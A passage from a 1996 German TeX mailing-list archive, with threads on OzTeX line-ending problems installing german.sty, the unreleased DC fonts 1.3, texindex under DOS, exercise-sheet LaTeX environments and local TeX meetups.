ATE>damit die DC1.2 Fonts funktionieren. Es geht auch ohne! ATE>Kann mal jemand ganz kurz die Vorteile, die ich von den DC1.3 Fonts ATE>haben k"onnte nennen. Seit wann gibt's die 1.3? Und TTschê ps From owner-tex-d-l@VM.GMD.DE Tue May 7 22:19:48 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Hassenstein Date: Tue, 7 May 1996 22:22:26 +0100 Subject: Oztex und german.sty 2.5c ? ich komme mir zwar vor, wie jemand mit einem geliehenen Auto an der Tankstelle, der nicht weiss, welches Benzin wo rein muss, aber trotzdem..... Hat jemand mit Oztex (1.9, May 1995), Latex(2e), docstrip (\def\filedate{1994/05/05}) schon mal erfolgreich das neue german.sty installiert ? >This is TeX, Version 3.14159 (no format preloaded) >**&Plain german.ins >(german.ins) >* und dann haengts..... >(Please type a command or say `\end') >*\end >No pages of output. >Transcript written on german.log. > >Memory allocated: 1068826 bytes. >Time elapsed: 54.7 seconds. Sonst hat docstrip *.ins immer wunderschoen funktioniert..... Dankbar fuer jeden Tip ! Stefan Stefan Hassenstein, Stuttgart -- e-mail:stef@orpheus.s.bawue.de -- PGP available -- From owner-tex-d-l@VM.GMD.DE Wed May 8 13:49:11 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 8 May 1996 13:47:17 +0200 Subject: Re: Oztex und german.sty 2.5c ? Stefan Hassenstein schreibt: [...] : Hat jemand mit Oztex (1.9, May 1995), Latex(2e), docstrip : (\def\filedate{1994/05/05}) schon mal erfolgreich das neue german.sty : installiert ? Wie waer's mit einem LaTeX2e-Update? Dann hast du gleich eine neuere docstrip-Version.... : >This is TeX, Version 3.14159 (no format preloaded) : >**&Plain german.ins : >(german.ins) : >* : und dann haengts..... ??? Eigentlich muesste gleich zu Beginn von `german.ins' das File `docstrip.tex' geladen werden... zumindest lauten die ersten beiden Zeilen, ignoriert man mal die Kommentarzeilen, \def\batchfile{german.ins} \input docstrip.tex ... und das muesste doch funktionieren. [...] : Sonst hat docstrip *.ins immer wunderschoen funktioniert..... [...] Wegen OzTeX, also Macintosh: Kann es sein, dass du die Zeilenenden nicht konvertiert hast oder nicht richtig konvertiert wurden? Nicht vergessen: Unix verwendet NL (Ctrl-J, ASCII 10), Mac verwendet ein CR (Ctrl-M, ASCII 13) als Zeilenendekennung. Normalerweile laeuft in solchen Faellen zwar der `input buffer' ueber. Es kann aber auch sein, dass die Konvertierung nicht ganz korrekt lief und jetzt das File aus einer einzigen, gerade noch in den `buffer' passenden Zeile besteht, und die Zeilenendezeichen von TeX _direkt_ als ^^M drinstehen. In diesem Fall liest TeX zwar das gesamte File in den Eingabepuffer, aber beim ersten Auftreten eines Zeichens mit \catcode 5 (= end-line), mit plainTeX also z.B. dem ^^M, ignoriert er den Rest der Zeile und macht mit der naechsten Zeile weiter (Tja, wieder eines der nicht allzu bekannten ``Geheimnisse'' von TeX :-). Da aber das File nur aus einer Zeile besteht, bekommt der Benutzer eben nur den Prompt `*' zu sehen. Dies wuerde das obige Verhalten erklaeren... aber es waere raetselhaft, welches Konversionsprograemmchen hier 'nen Fehler produziert (oder ob es doch OzTeX ist?). Hoffe, das hilft weiter... Gruesse, -bernd ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Thu May 9 05:07:24 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Schrell Date: Wed, 8 May 1996 15:18:00 +0200 Subject: TeX-Stammtisch Wuppertal Hallo! Ihr seid alle herzlich eingeladen zum n¢chsten _____ _ _ _______ ______ | __ \ /\ | \ | ||__ __|| ____| | | | | / \ | \| | | | | |__ | | | | / /\ \ | . ` | | | | __| | |__| |/ ____ \ | |\ | | | | |____ |_____//_/ \_\|_| \_| |_| |______| _______ __ __ |__ __| \ \ / / | | ______\ V /_____ | || ____|> <|_____| | || |__ / . \ |_|| __|/_/ \_\ | |____ |______| _____ _ _ _ _ / ____|| | | | (_) | | | (___ | |_ __ _ _ __ ___ _ __ ___ | |_ _ ___ ___ | |__ \___ \ | __|/ _` || '_ ` _ \ | '_ ` _ \ | __|| |/ __| / __|| '_ \ ____) || |_| (_| || | | | | || | | | | || |_ | |\__ \| (__ | | | | |_____/ \__|\__,_||_| |_| |_||_| |_| |_| \__||_||___/ \___||_| |_| __ __ _ _ \ \ / / | | | | \ \ /\ / /_ _ _ __ _ __ ___ _ __ | |_ __ _ | | \ \/ \/ /| | | || '_ \ | '_ \ / _ \| '__|| __|/ _` || | \ /\ / | |_| || |_) || |_) || __/| | | |_| (_| || | \/ \/ \__,_|| .__/ | .__/ \___||_| \__|\__,_||_| | | | | |_| |_| Er findet statt am Donnerstag, dem 9. Mai 1996 um 19:30 Uhr Gastst¢tte Yol Ernststra±e 45 (N¢he Robert-Daum-Platz) 42117 Wuppertal Viele Grð±e von und weitere Infos bei ******************************************************************* * /\ * * * /__\ndreas * Fax 0202/506381 * * / Schrell * Erlenstra"se 1, 42283 Wuppertal, Tel. 0202/502354 * ******************************************************************* * Mails <14K ins MausNet: Andreas_Schrell@w2.maus.de * * Riesenmails an: Andreas.Schrell@FernUni-Hagen.de * ******************************************************************* From owner-tex-d-l@VM.GMD.DE Wed May 8 22:54:08 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Hassenstein Date: Wed, 8 May 1996 22:55:31 +0100 Subject: Re: Oztex und german.sty 2.5c ? Bernd, vielen Dank fuer Deine Ideen... >Wegen OzTeX, also Macintosh: Kann es sein, dass du die Zeilenenden >nicht konvertiert hast oder nicht richtig konvertiert wurden? Nicht >vergessen: Unix verwendet NL (Ctrl-J, ASCII 10), Mac verwendet ein CR >(Ctrl-M, ASCII 13) als Zeilenendekennung. Normalerweile laeuft in >solchen Faellen zwar der `input buffer' ueber..... Mit dem Alpha-Editor (V. 6.01) hatten german.ins und german.dtx unauffaellig ausgesehen. Um sicher zu sein, das die Zeilenenden richtig konvertiert wurden, veraenderte ich den Text mit einem Leerzeichen und sicherte ..... Reingefallen: Alpha sicherte german.dtx und german.ins immer brav im UNIX-format ab ! (Erkennt Alpha einen PC-Text mit CR-LF fraegt es, ob der Text zunaechst Mac-like konvertiert werden soll.....anscheinend nicht so bei Unix-Texten.) Nach Sichern im Mac-format lief alles reibungslos ab ! >Hoffe, das hilft weiter... Vielen Dank ! Stefan Stefan Hassenstein, Stuttgart -- e-mail:stef@orpheus.s.bawue.de -- PGP available -- From owner-tex-d-l@VM.GMD.DE Thu May 9 11:31:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 9 May 1996 11:07:03 +0200 Subject: Re: German.sty <-> Babel Andreas Tille schrieb auf Peter Schneiders Frage nach den DC-Fonts in Version 1.3: : > Seit wann gibt's die 1.3? Die DC-Fonts Version 1.3 sind noch __nicht__ veroeffentlicht. : Offensichtlich (siehe Meil von Bernd Raichle) gibt es sie noch nicht : offiziell. Ich h"orte nur in irgendeiner Liste mal was davon munkeln. : Daher meine Frage. Joerg Knappen hat die Version 1.3 der DC-Fonts als erste Testversion an eine kleine Gruppe verteilt. Diese Version enthaelt definitiv noch einige kleinere Fehler, die vor der Veroeffentlichung fuer die breite Masse `geflickt' werden muessen. : Wenn ich Bernds Mail richtig verstanden habe, so : sollte man m"oglichst schnell zu dieser Version greifen --- hoffen wir, : da"s bald alle zugrifen k"onnen. [...] Ja, nach meiner Meinung schon, da ja die DC-Fonts Version 1.2 die unangenehme Eigenschaft haben, dass die Informationen in den tfm-Dateien von der Aufloesung des Ausgabegeraets abhaengig sind. Dennoch kann und sollte man sich die DC-Fonts 1.2pl1 besorgen und installieren, wenn man die DC-Fonts _jetzt_ verwenden will. Besser als die (ur-)alten DC-Fonts Version 1.1 sind sie auf alle Faelle, ausserdem bekommt man mit den TC-Fonts noch eine reichhaltige Auswahl an sonstigen Zeichen! Ich weiss nicht, wann Joerg 1.3 oeffentlich machen will, mir waere es aber lieber, wenn diese so fehlerfrei wie moeglich sind, auch wenn man dazu noch ein paar Wochen laenger warten muesste. Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Thu May 9 11:31:36 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hans Honecker Date: Thu, 9 May 1996 11:10:35 +0200 Subject: Gesucht: Class fuer Uebungen/Aufgaben Hallo, zur Modernisierung unserer Uebungsunterlagen und Aufgabenzettel zu den Uebungen unserer EDV-Kurse suche ich eine Class, die fuer so etwas vorgesehen ist (z.B. automatische Nummerierung von Aufgaben und Teilaufgaben). Am liebsten waere mir, wenn man moeglichst viele LaTeX- Pakete nuetzen koennte. Ich bin wohl in der Lage mit LaTeX annehmbare Aufgaben- und Uebungszettel zu produzieren, nur kann ich dafuer nicht auf reine Strukturiergungsbefehle wie z.B. \chapter, \section u.ae. zurueckgreifen, sondern muss auch an einigen Parametern von Hand drehen (z.B. am \parindent). Meine Frage ist also: Gibt es eine documentclass, die sich fuer so etwas standardmaessig eignet? Falls die obige Frage zu verneinen ist, schliesse ich noch folgende Frage an: Wenn ich mir so etwas selbst stricke, mache ich das besser in LaTeX oder in TeX? Vielen Dank! Hans Honecker /================================================================\ | Hans Honecker @ Institut fuer Tierzuchtwissenschaft der | |----------------- Friedr.-Wilhelms-Universitaet_Bonn -----------| | email : H.Honecker@Uni-Bonn.De oder HHon@audi.ITZ.Uni-Bonn.De | \================================================================/ From owner-tex-d-l@VM.GMD.DE Thu May 9 11:53:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Thu, 9 May 1996 11:29:45 +0200 Subject: Re: Gesucht: Class fuer Uebungen/Aufgaben Hans Honecker schreibt: > zur Modernisierung unserer Uebungsunterlagen und Aufgabenzettel zu > den Uebungen unserer EDV-Kurse suche ich eine Class, die fuer so etwas > vorgesehen ist (z.B. automatische Nummerierung von Aufgaben und > Teilaufgaben). Am liebsten waere mir, wenn man moeglichst viele LaTeX- > Pakete nuetzen koennte. Aus dem Bauch heraus w"urde ich mal auf die Pakete `exam' und `answers' verweisen. Beide befinden sich auf CTAN unter macros/latex/contrib/supported. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de A man about to speak the truth should keep one foot in the stirrup. --- Old Mongolian Saying From owner-tex-d-l@VM.GMD.DE Thu May 9 12:26:06 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Blochwitz Date: Thu, 9 May 1996 12:24:56 +0200 Subject: Index und TEXIFO.TEX Hallo alle miteinander, auch wenn das moeglicherweise nicht hierher gehoert, so ist es doch auch nicht so weit ab vom Schuss, als dass man die Frage nicht stellen koennte. - Also: Ich will ein paar *.texi-Files in *.dvi-Files uebersetzen. Das gelingt auch ganz gut, bis auf die Tatsache, dass der Index nie erscheint. Ich verwende dazu EMTeX 3.1459 und texinfo 2.151. Der auszudruckende Index hat die Endung cp und im *.texi-File steht auch @printindex cp. Da ich mit DOS arbeite, habe ich natuerlich alle Dateinamen auf das 8.3-Format umaendern muessen. Ob es vielleicht daran liegt? Ratlos, Stefan Blochwitz. From owner-tex-d-l@VM.GMD.DE Thu May 9 11:25:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Thu, 9 May 1996 10:54:01 MESZ Subject: Re: German.sty <-> Babel > Seit wann gibt's die 1.3? Offensichtlich (siehe Meil von Bernd Raichle) gibt es sie noch nicht offiziell. Ich h"orte nur in irgendeiner Liste mal was davon munkeln. Daher meine Frage. Wenn ich Bernds Mail richtig verstanden habe, so sollte man m"oglichst schnell zu dieser Version greifen --- hoffen wir, da"s bald alle zugrifen k"onnen. SIcher wird J"org Knappen dazu besser Auskunft geben k"onnen. Tsch"u"s Andreas. From owner-tex-d-l@VM.GMD.DE Thu May 9 11:53:22 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Pasche Date: Thu, 9 May 1996 11:29:11 GMT+0100 Subject: Re: Gesucht: Class fuer Uebungen/Aufgaben > From: Hans Honecker > zur Modernisierung unserer Uebungsunterlagen und Aufgabenzettel zu > den Uebungen unserer EDV-Kurse suche ich eine Class, die fuer so etwas > vorgesehen ist (z.B. automatische Nummerierung von Aufgaben und > Teilaufgaben). Am liebsten waere mir, wenn man moeglichst viele LaTeX- > Pakete nuetzen koennte. > > Ich bin wohl in der Lage mit LaTeX annehmbare Aufgaben- und Uebungszettel > zu produzieren, nur kann ich dafuer nicht auf reine Strukturiergungsbefehle > wie z.B. \chapter, \section u.ae. zurueckgreifen, sondern muss auch an > einigen Parametern von Hand drehen (z.B. am \parindent). > > Meine Frage ist also: > > Gibt es eine documentclass, die sich fuer so etwas standardmaessig eignet? > > Falls die obige Frage zu verneinen ist, schliesse ich noch folgende Frage an: > > Wenn ich mir so etwas selbst stricke, mache ich das besser in LaTeX oder > in TeX? Wenn es nur darum geht, eine Umgebung zu definieren, etwa in der Art \begin{aufgabe} .... \end{aufgabe} und diese Umgebung eine fortlaufende Nummer ausgeben soll, dann kann man das in LaTeX2e sehr einfach selbst stricken, zum Beispiel: \newcounter{anr} \def\theanr {\arabic{anr}} \newenvironment{aufgabe}% {\refstepcounter{anr}\par {\bf Aufgabe \theanr.}\ } Fuer Teilaufgaben kann man die ueblichen Listen-Umgebungen verwenden. Man braucht also keine besondere Class. Die gewuenschten Eigenschaften (z.B. den \parindent) muss man ohnehin in der Praeambel festlegen. Hoffe, es hilft. Ich habe jedenfalls meine Aufgabenzettel auf diese Weise gestaltet. - Markus Pasche pasche@hermes1.econ.uni-hamburg.de From owner-tex-d-l@VM.GMD.DE Thu May 9 14:10:12 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Thu, 9 May 1996 14:08:27 +0200 Subject: Re: Index und TEXIFO.TEX On Thu, 9 May 1996, Holger Grothe wrote: > Am Format liegt es nicht. An DOS vielleicht. Ich habe keine Ahnung, ob > es texindex fuer DOS gibt. Gibt es: es ist mindestens bei der von EM (Eberhard Mattes) angepassten Version des GCC (emx-gcc) dabei. Man suche unter ftp.uni-stuttgart.de /pub/systems/os2/... oder aehnlich. Gruss Matthias -- Matthias Eckermann, Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Thu May 9 12:44:32 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Thu, 9 May 1996 12:44:18 MESZ Subject: Re: Index und TEXIFO.TEX Hallo, > > auch wenn das moeglicherweise nicht hierher gehoert, so ist es doch auch nicht > so weit ab vom Schuss, als dass man die Frage nicht stellen koennte. - Also: > > Ich will ein paar *.texi-Files in *.dvi-Files uebersetzen. Das gelingt auch > ganz gut, bis auf die Tatsache, dass der Index nie erscheint. Ich verwende > dazu EMTeX 3.1459 und texinfo 2.151. Der auszudruckende Index hat die > Endung cp und im *.texi-File steht auch @printindex cp. > Du benoetigst das Programm texindex, welches nach dem ersten TeXen der Datei foo.texi die Dateien foo.?? aufbereitet. Es entstehen dann Dateien foo.??s, also aus foo.cp wird foo.cps. > Da ich mit DOS arbeite, habe ich natuerlich alle Dateinamen auf das > 8.3-Format umaendern muessen. Ob es vielleicht daran liegt? Am Format liegt es nicht. An DOS vielleicht. Ich habe keine Ahnung, ob es texindex fuer DOS gibt. Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Thu May 9 18:38:14 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Thu, 9 May 1996 15:07:19 +0100 Subject: Re: German.sty <-> Babel dc1.3 sind noch nicht ver"offentlicht. Sie befinden sich zur Zeit im alpha-Test. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Thu May 9 17:24:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Thu, 9 May 1996 17:15:31 MESZ Subject: Re: (La)TeX auf DOS-Rechner mit CDROM > Ich m"ochte auf einem DOS-Rechner mit CD-Laufwerk (La)TeX installieren. > Der Rechner ist bisher jungfr"au/m"annlich, mal abgesehen von > Windows und Word: Verstehe ich nicht. Ist der Rechner nun jungfr"aulich, jungm"annlich (was die mir zur Verf"ugung stehende Ausgabe des Dudens nicht kennt und ich mir auch nicht dar"uber im klaren bin, was es denn sein soll) oder j"unglich. Ich spreche zwar seit 28 Jahren Deutsch (plus ein Jahr Babylallen mit deutschem Akzent) aber seit ich die Tex-Liste lese kommen mir doch manchmal Sachen unter, die mir bisher noch nie begegnet sind. Und "uberhaupt, wenn ich mal das Wort j"unglich nehme, was wohl soetwas wie "nicht ausgereift" hei"sen k"onnte, dann verstehe ich wiederum nicht, weshalb das mit "mal abgesehen von" kombiniert wird, denn gerade Windows und Word sind doch nicht ausgereift oder bin ich da auch nicht auf dem neusten Stand der Softwaretechnik? Also ich w"urde folgendes vorschlagen: Zuerst mal die Festplatte formatieren (das ist der sicherste Weg um Windows und Word wieder loszuwerden). Dann das Betriebssystem neu installieren (vielleicht doch lieber gleich was richtiges, sagen wir mal OS/2 weil man da mit EmTeX mehr Freude hat). > Das hei"st es mu"s "`alles"' drauf: Editor, TeX (m"oglichst schon > vorcompiliert), alle Macro-Diretories, Fonts, Dvi-Viewer, Dvi-Printer, > u."a. > > Gibt es eine gute, billige CD, auf der alles drauf ist, und die auch f"ur > DOS-Newbies wie mich installierbar ist??? Und schlie"slich gibt es die 4all-TeX-CD der NTG, "uber die man sich auf dem Dante-Server (ftp.dante.de) unter systems/msdos/4alltex (oder so "ahnlich) auch erstmal informieren kann. Ansonsten wird sich doch an der Uni Heidelberg auch sicher ein PC mit einer ordentlichen TeX-Installation (der sich also seine Jungfr"aulichkeit nicht bewahrt hat) finden. Wenn man Deinen wie auch immer zu bezeichnenden PC mit ersterem per seriellem oder parallelem Kabel verheiratet, ahem verbindet und darauf achtet, da"s keine Preservative im Spiel sind, so sollte man mittels diverser Programme (LapLink, Norton Commander, ...) keine Probleme haben, die Installation zu kopieren. (Wie es sich dann mit der Jungfr"au/m"annlichkeit Deines PC's verh"alt, kann ich leider nicht beurteilen. Hauptsache es werden keine Zwillinge.) > Herzlichen Dank f"ur Antworten auf diese Anf"angerInnen-Frage! Bitte, aber wie gesagt, Anf"anger durfen nicht nur Innen in Listen, sondern auch Au"sen Fragen stellen, also beispielsweise bei Mathematikern und Physikern w"are ein hei"ser Tip, weil ca. 50% aller PC's in diesen Bereichen eine arbeitsf"ahige TeX-Version aufweisen. Also: Jungfr"auliche Mathematikerin kennenlernen (leider eine seltene Spezies), mit Ihr unverf"anglich ein Gespr"ach "uber TeX anfangen. Der Rest sollte sich dann ergeben (seltene aber oft sehr hilfsbereite Spezies). |------------------------------ | Hey Gott, Alte, seit wann |------------------------------ | verstehst Du mich als Mann? |------------------------------ Das verstehe ich schon wieder nicht, aber das liegt sicher nicht an meinen Deutschkenntnissen, sondern daran, da"s ich Atheist bin. Machts gut alle Innen und Au"sen Andreas. From owner-tex-d-l@VM.GMD.DE Fri May 10 00:25:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Stefan Hassenstein Date: Fri, 10 May 1996 00:25:47 +0100 Subject: Re: Oztex und german.sty 2.5c ? Bernd, vielen Dank fuer Deine Ideen... >Wegen OzTeX, also Macintosh: Kann es sein, dass du die Zeilenenden >nicht konvertiert hast oder nicht richtig konvertiert wurden? Nicht >vergessen: Unix verwendet NL (Ctrl-J, ASCII 10), Mac verwendet ein CR >(Ctrl-M, ASCII 13) als Zeilenendekennung. Normalerweile laeuft in >solchen Faellen zwar der `input buffer' ueber..... Mit dem Alpha-Editor (V. 6.01) hatten german.ins und german.dtx unauffaellig ausgesehen. Um sicher zu sein, das die Zeilenenden richtig konvertiert wurden, veraenderte ich den Text mit einem Leerzeichen und sicherte ..... Reingefallen: Alpha sicherte german.dtx und german.ins immer brav im UNIX-format ab ! (Erkennt Alpha einen PC-Text mit CR-LF, fraegt es, ob der Text zunaechst Mac-like konvertiert werden soll.....anscheinend nicht so bei Unix-Texten.) Nach Sichern im Mac-format lief alles reibungslos ab ! >Hoffe, das hilft weiter... Vielen Dank ! Stefan Stefan Hassenstein, Stuttgart -- e-mail:stef@orpheus.s.bawue.de -- PGP available -- From owner-tex-d-l@VM.GMD.DE Tue May 7 11:47:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Tue, 7 May 1996 11:46:56 -6000 Subject: Emacs und AucTeX: Gaensefuesschen wie? Hallo TeXnikerInnen! Eine Frage an Leute die TeX-Texte mit AucTeX unter Emacs schreiben: Wie kann ich das fuer deutsche Texte bloede double-quoting auf der Gaensefuesschen-Taste abschalten. Die Taste " erzeugt naemlich ``. Ohne AucTeX funktioniert das einfach mit (local-set-key "\"" 'self-insert-command) im .emacs-File. Mit AucTeX geht das nicht mehr. Auch Versuche mit latex.el und german.el schlugen bei mir fehl! Wer weiss dazu mehr??? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Fri May 10 12:32:07 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Ralph J. Hangleiter" Date: Fri, 10 May 1996 11:38:53 +0200 Subject: Re: (La)TeX auf DOS-Rechner mit CDROM On Thu, 9 May 1996, Andreas Tille wrote: > Also ich w"urde folgendes vorschlagen: Zuerst mal die Festplatte formatieren > (das ist der sicherste Weg um Windows und Word wieder loszuwerden). Dann > das Betriebssystem neu installieren (vielleicht doch lieber gleich was > richtiges, sagen wir mal OS/2 weil man da mit EmTeX mehr Freude hat). Der Gates wird ja demnaechst arm - jetzt will der Junge statt Word schon TeX benuetzen und dann soll er auch noch ein ordentlich OS auf den Rechner tun. Aber zustimmen muss ich trotzdem ( nach dem Motto: Ich war eine DOSe!) > Also: Jungfr"auliche Mathematikerin kennenlernen (leider eine seltene > Spezies), mit Ihr unverf"anglich ein Gespr"ach "uber TeX anfangen. > Der Rest sollte sich dann ergeben (seltene aber oft sehr hilfsbereite > Spezies). Wobei das 'selten' eher am niedrigen Frauenanteil (bedauerlich, bedauerlich) in Mathematik/Physik liegt, als an anderen Dingen... ;) ralph ------------------------------------------------------------------------- Ralph J. Hangleiter PGP-key Brueder-Grimm-Allee 57 hangleit@math.uni-goettingen.de available D-37075 Goettingen, Germany http://namu19.gwdg.de/hangleit/ (+49) 551 54 16 09 From owner-tex-d-l@VM.GMD.DE Mon May 13 05:09:51 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sat, 11 May 1996 19:44:00 +0200 Subject: Re: German.sty <-> Babel Kommentar zu A10780@H in der Gruppe TeX-D-L Hallo Bernd, wenn dem so ist, warum merke ich das nicht, wenn ich eine DVI-Datei, die u.a. mit dc-Fonts 1.2 mal per Previewer (101 dpi), mal per Drucker (300 bzw. 360 dpi) "ansehe"? Zur Erl¢uterung: Bei meiner TeX-Implementierung (Lindner fðr Atari) landen alle tfm-Dateien in ein und demselben Ordner, weil sie eben, und das war bisher mein Kenntnisstand, eben _nicht_ auflêsungsabh¢ngig sind. Ich habe mir auch schon mal den "Spa±" erlaubt, zwei tfm-Dateien zum selben cm-Font bin¢r zu vergleichen. Einziger Unterschied: Die METAFONT-Meldung zu Beginn, _wann_ die Datei erzeugt wurde... Und TTschê ps From owner-tex-d-l@VM.GMD.DE Thu May 9 15:57:30 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Thu, 9 May 1996 15:54:35 -6000 Subject: (La)TeX auf DOS-Rechner mit CDROM Hallo! Ich m"ochte auf einem DOS-Rechner mit CD-Laufwerk (La)TeX installieren. Der Rechner ist bisher jungfr"au/m"annlich, mal abgesehen von Windows und Word: Das hei"st es mu"s "`alles"' drauf: Editor, TeX (m"oglichst schon vorcompiliert), alle Macro-Diretories, Fonts, Dvi-Viewer, Dvi-Printer, u."a. Gibt es eine gute, billige CD, auf der alles drauf ist, und die auch f"ur DOS-Newbies wie mich installierbar ist??? Herzlichen Dank f"ur Antworten auf diese Anf"angerInnen-Frage! Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Mon May 13 10:18:42 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 13 May 1996 10:18:29 +0200 Subject: Re: German.sty <-> Babel Peter Schneider schrieb: : Kommentar zu A10780@H in der Gruppe TeX-D-L [Ich nehme mal an, dass du auf die Unterschiede in den tfm-Dateien der DC-Fonts 1.2 anspielst -- wird naemlich ohne `Gequote' nicht ganz deutlich] : wenn dem so ist, warum merke ich das nicht, wenn ich eine DVI-Datei, die u.a. : mit dc-Fonts 1.2 mal per Previewer (101 dpi), mal per Drucker (300 bzw. 360 : dpi) "ansehe"? Du solltest nicht ein und dieselbe Datei mit (pk-)Fonts in unterschiedlichen Aufloesungen ansehen, sondern du solltest mit (La)TeX die Datei einmal mit tfm-Dateien, die fuer die eine Aufloesung generiert wurden, und einmal mit tfm-Dateien fuer die andere Aufloesung formatieren. Dann siehst du evtl. die Unterschiede, die im guenstigsten (Normal-)Fall doch nicht sichtbar sind, im unguenstigsten Fall aber zu einem anderen Absatz-Seitenumbruch fuehren koennen. Einfacherer Weg: Mit `tftopl' die gleichnamigen tfm-Dateien fuer ein und denselben Font (jedoch unterschiedliche Aufloesung) in die pl-Textdarstellung wandeln und mit `diff' oder aehnlichen Tools vergleichen. Dann springen dir z.B. die unterschiedlichen "italic corrections" sofort in's Auge. [...] : Zur Erlaeuterung: Bei meiner TeX-Implementierung (Lindner fuer Atari) landen alle : tfm-Dateien in ein und demselben Ordner, weil sie eben, und das war bisher mein : Kenntnisstand, eben _nicht_ aufloesungsabhaengig sind. [...] Korrekt... und das ist eben bei den DC-Fonts 1.2 nicht so. Dieser Bug wird erst mit Version 1.3 verbessert und diese ist, wie hier schon ein paar Mal verkuendet, im Moment im (nicht oeffentlichen) $\alpha$-Test. Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Wed May 15 14:01:28 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Nils Bokermann Date: Tue, 14 May 1996 14:44:04 +0100 Subject: Re: German.sty <-> Babel > > Korrekt... und das ist eben bei den DC-Fonts 1.2 nicht so. Dieser Bug > wird erst mit Version 1.3 verbessert und diese ist, wie hier schon ein > paar Mal verkuendet, im Moment im (nicht oeffentlichen) $\alpha$-Test. > > Gruesse, > -bernd > Kann man sich die denn schon irgendwo besorgen (zum Test) oder werden erst $\beta$-Versionen per ftp verteilt? Tsch"u"s, Nils -- Nils Bokermann Johanneswerkstr. 90 Phone: +49 521 891279 33613 Bielefeld FAX: +49 521 550116 Germany Warum werden die Gr"unen mit Schnittlauch nilsb@reality.owl.de verglichen? Naja, au"sen Gr"un, innen Hohl und treten immer Geb"undelt auf! _______________________________________________________________________________ From owner-tex-d-l@VM.GMD.DE Thu May 16 01:20:27 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench Date: Wed, 15 May 1996 21:18:03 +0200 Subject: Einladung zum Vortrag von Thomas Esser Hallo! Der Linux-Workshop K"oln und der DANTE-TeX-Stammtisch K"oln freuen sich, folgende Ank"undigung machen zu k"onnen: Dipl.-Math. Thomas Esser aus Hannover h"alt einen Vortrag "uber das Textsatzsystem TeX und seine frei verf"ugbare Distribution 'teTeX'. Ort und Zeitpunkt der Veranstaltung: 31. Mai 1996 um 19 Uhr im Raum 0113, Philosophikum Albertus-Magnus-Platz 50923 K"oln Themen der Veranstaltung: -- Die teTeX-Distribution: Motivation, "Ubersicht, Benutzung, Ausblick -- TeX Life: eine 'Plug-and-Use'-L"osung f"ur 21 UNIX-Plattformen -- Vorstellung interessanter Makropakete -- Dateiorganisation: der 'TeX Directory Structure'-Standard Wir laden hiermit alle herzlich ein. Weitere Informationen befinden sich auf den WWW-Seiten 